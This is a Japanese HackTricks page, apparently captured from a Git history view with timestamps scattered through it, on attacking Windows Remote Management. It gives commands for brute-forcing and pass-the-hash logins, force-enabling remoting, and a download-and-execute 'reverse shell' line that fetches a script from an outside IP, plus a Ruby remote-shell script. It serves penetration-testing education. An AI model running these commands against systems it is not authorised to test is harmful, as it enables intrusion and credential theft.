hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

330 lines
17 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# 5985,5986 - WinRMのペンテスト
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法
2022-04-28 16:01:33 +00:00
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
2022-04-28 16:01:33 +00:00
</details>
2022-10-27 23:22:18 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
2023-02-27 09:28:45 +00:00
**ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する
2023-02-27 09:28:45 +00:00
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける
**最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて知る
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!**
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)WinRMは、SOAPを使用してHTTPS経由でWindowsマシンのリモート管理を可能にするMicrosoftプロトコルです。バックエンドではWMIを利用しているため、WMIのHTTPベースのAPIと考えることができます。
マシンでWinRMが有効になっている場合、PowerShellからリモートでマシンを管理することは簡単です。実際、リモートのPowerShellセッションに入ることができますまるでSSHを使用しているかのように
WinRMが利用可能かどうかを検出する最も簡単な方法は、ポートが開かれているかどうかを確認することです。WinRMは次のいずれかのポートでリッスンします
- **5985/tcpHTTP**
- **5986/tcpHTTPS**
2023-07-07 23:42:27 +00:00
これらのポートのいずれかが開いている場合、WinRMが構成されており、リモートセッションを試すことができます。
## **WinRMセッションの開始**。
PowerShellをWinRMと連携させることができます。Microsoftのドキュメントによると、Enable-PSRemotingは、コンピューターをPowerShellリモートコマンドを受信するように構成するコマンドレットです。被害者のエレベーションされたPowerShellプロンプトにアクセスできる場合、これを有効にし、「攻撃者」を信頼されたホストとして追加することができます。次の2つのコマンドを実行できます
```
2023-07-07 23:42:27 +00:00
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
これはtrustedhosts設定にワイルドカードを追加します。それが何を意味するか注意してください。_注意: 攻撃マシンのネットワークタイプを「Public」から「Work」ネットワークに変更する必要がありました。_
また、**リモート**でWinRMを**アクティブ化**するには、_wmic_を使用することもできます。
```
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
### 設定がされているかテストする
攻撃マシンが設定されたら、`Test-WSMan` 関数を使用してターゲットが WinRM に設定されているかどうかをテストします。プロトコルバージョンと wsmid に関する情報が返されるはずです:
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (161) (1).png>)
![](<../.gitbook/assets/image (162).png>)
この場合、最初の画像は設定されており、2番目の画像は設定されていません。
### コマンドを実行する
これで、PowerShell の `Invoke-Command` を使用して、WinRM を介してターゲット上でコマンドをリモートで実行できます。リモートで `ipconfig` を実行して出力を表示します:
```
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
2022-07-28 09:46:19 +00:00
![](<../.gitbook/assets/image (163) (1).png>)
あなたは**Invoke-Command**を介して現在のPSコンソールのコマンドを実行することもできます。ローカルに**enumeration**という関数があると仮定し、それをリモートコンピュータで実行したい場合、次のようにします:
```ruby
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
2023-07-07 23:42:27 +00:00
### スクリプトの実行
```ruby
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### 逆シェルを取得
2023-07-07 23:42:27 +00:00
```ruby
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### PSセッションの取得
または、対話型のPowerShellセッションにすぐに移動したい場合は、`Enter-PSSession`関数を使用します:
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
2023-07-07 23:42:27 +00:00
# Save session in var
2022-10-30 16:20:17 +00:00
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
2023-07-07 23:42:27 +00:00
**セッションは、「被害者」内の新しいプロセスwsmprovhostで実行されます**
### **WinRMを強制的にオープンにする**
本当にPS RemotingとWinRMを使用したいが、ターゲットがそれに設定されていない場合、1つのコマンドでそれを「強制的に」オンにすることができます。これはお勧めしませんが、本当にWinRMまたはPSRemotingを使用したい場合は、この方法で行ってください。たとえば、PSExecを使用して次のようにします
```
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
2023-07-07 23:42:27 +00:00
### セッションの保存と復元
これは、リモートコンピュータで言語が制約されている場合には機能しません。
```ruby
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
このセッション内では、_Invoke-Command_ を使用して PS スクリプトをロードできます。
```ruby
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2023-07-07 23:42:27 +00:00
### エラー
2023-07-07 23:42:27 +00:00
次のエラーが見つかった場合:
`enter-pssession : リモート サーバー 10.10.10.175 に接続できませんでした。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合は、HTTPS トランスポートを使用するか、宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts を構成するには、winrm.cmd を使用します。TrustedHosts リストにあるコンピューターは認証されない場合があります。次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。`
クライアントで次の手順を試してください([こちら](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)からの情報):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
2023-02-27 09:28:45 +00:00
**ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
2022-10-27 23:22:18 +00:00
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう
2023-02-27 09:28:45 +00:00
**最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
2022-10-27 23:22:18 +00:00
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう!
## Linux での WinRM 接続
2020-09-20 21:44:41 +00:00
2023-07-07 23:42:27 +00:00
### ブルートフォース
2020-09-20 21:41:33 +00:00
WinRM のブルートフォースには注意が必要です。
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 12:49:36 +00:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
2022-05-01 12:49:36 +00:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### 悪意のあるwinrmの使用
```ruby
gem install evil-winrm
```
**ドキュメント**はこちらのGitHubで確認できます: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
### evil-winrmを使用してIPv6アドレスに接続するには、_**/etc/hosts**_内に**ドメイン名**をIPv6アドレスに設定して、そのドメインに接続します。
### evil-winrmを使用してハッシュを渡す
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
### PS-docker マシンの使用
2023-07-07 23:42:27 +00:00
PS-docker マシンを使用すると、WinRM サービスを介してリモートで PowerShell スクリプトを実行できます。WinRM サービスは、Windows マシン間でのリモート管理を可能にするための機能です。PS-docker マシンを使用すると、WinRM を介してリモートで PowerShell スクリプトを実行し、システムにアクセスできます。
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### ルビースクリプトの使用
**ここから抽出したコード: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
2023-07-07 23:42:27 +00:00
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
2023-07-07 23:42:27 +00:00
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
2023-07-07 23:42:27 +00:00
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
## References
2022-10-27 23:22:18 +00:00
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Automatic Commands
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 17:09:57 +00:00
Entry_1:
2023-07-07 23:42:27 +00:00
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
2021-08-15 17:09:57 +00:00
2023-07-07 23:42:27 +00:00
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
2021-08-15 17:09:57 +00:00
2023-07-07 23:42:27 +00:00
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
2021-08-15 17:09:57 +00:00
2023-07-07 23:42:27 +00:00
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
2021-08-15 17:09:57 +00:00
2023-07-07 23:42:27 +00:00
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
2021-08-15 17:09:57 +00:00
2023-07-07 23:42:27 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-13 15:49:25 +00:00
Entry_2:
2023-07-07 23:42:27 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
2023-02-27 09:28:45 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
2023-02-27 09:28:45 +00:00
**ハッキングの洞察力**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
2023-02-27 09:28:45 +00:00
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態で把握しましょう
**最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう</strong></summary>
HackTricks をサポートする他の方法:
2022-04-28 16:01:33 +00:00
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
2022-04-28 16:01:33 +00:00
</details>